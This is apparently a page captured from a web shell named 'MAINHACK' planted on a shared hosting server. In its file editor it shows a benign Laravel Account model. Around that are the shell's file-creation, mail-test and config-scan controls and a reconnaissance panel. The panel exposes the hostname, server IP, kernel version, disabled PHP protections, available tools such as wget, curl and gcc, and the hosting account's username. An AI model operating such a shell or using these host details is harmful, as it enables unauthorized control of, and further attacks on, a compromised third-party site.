[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Account.php
<?php namespace App; use App\Utils\Util; use DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Account extends Model { use SoftDeletes; protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'account_details' => 'array', ]; public static function forDropdown($business_id, $prepend_none, $closed = false, $show_balance = false) { $query = Account::where('business_id', $business_id); $permitted_locations = auth()->user()->permitted_locations(); $account_ids = []; if ($permitted_locations != 'all') { $locations = BusinessLocation::where('business_id', $business_id) ->whereIn('id', $permitted_locations) ->get(); foreach ($locations as $location) { if (! empty($location->default_payment_accounts)) { $default_payment_accounts = json_decode($location->default_payment_accounts, true); foreach ($default_payment_accounts as $key => $account) { if (! empty($account['is_enabled']) && ! empty($account['account'])) { $account_ids[] = $account['account']; } } } } $account_ids = array_unique($account_ids); } if ($permitted_locations != 'all') { $query->whereIn('accounts.id', $account_ids); } $can_access_account = auth()->user()->can('account.access'); if ($can_access_account && $show_balance) { // $query->leftjoin('account_transactions as AT', function ($join) { // $join->on('AT.account_id', '=', 'accounts.id'); // $join->whereNull('AT.deleted_at'); // }) $query->select('accounts.name', 'accounts.id', DB::raw("(SELECT SUM( IF(account_transactions.type='credit', amount, -1*amount) ) as balance from account_transactions where account_transactions.account_id = accounts.id AND deleted_at is NULL) as balance") ); } if (! $closed) { $query->where('is_closed', 0); } $accounts = $query->get(); $dropdown = []; if ($prepend_none) { $dropdown[''] = __('lang_v1.none'); } $commonUtil = new Util; foreach ($accounts as $account) { $name = $account->name; if ($can_access_account && $show_balance) { $name .= ' ('.__('lang_v1.balance').': '.$commonUtil->num_f($account->balance).')'; } $dropdown[$account->id] = $name; } return $dropdown; } /** * Scope a query to only include not closed accounts. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeNotClosed($query) { return $query->where('is_closed', 0); } /** * Scope a query to only include non capital accounts. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ // public function scopeNotCapital($query) // { // return $query->where(function ($q) { // $q->where('account_type', '!=', 'capital'); // $q->orWhereNull('account_type'); // }); // } public static function accountTypes() { return [ '' => __('account.not_applicable'), 'saving_current' => __('account.saving_current'), 'capital' => __('account.capital'), ]; } public function account_type() { return $this->belongsTo(\App\AccountType::class, 'account_type_id'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285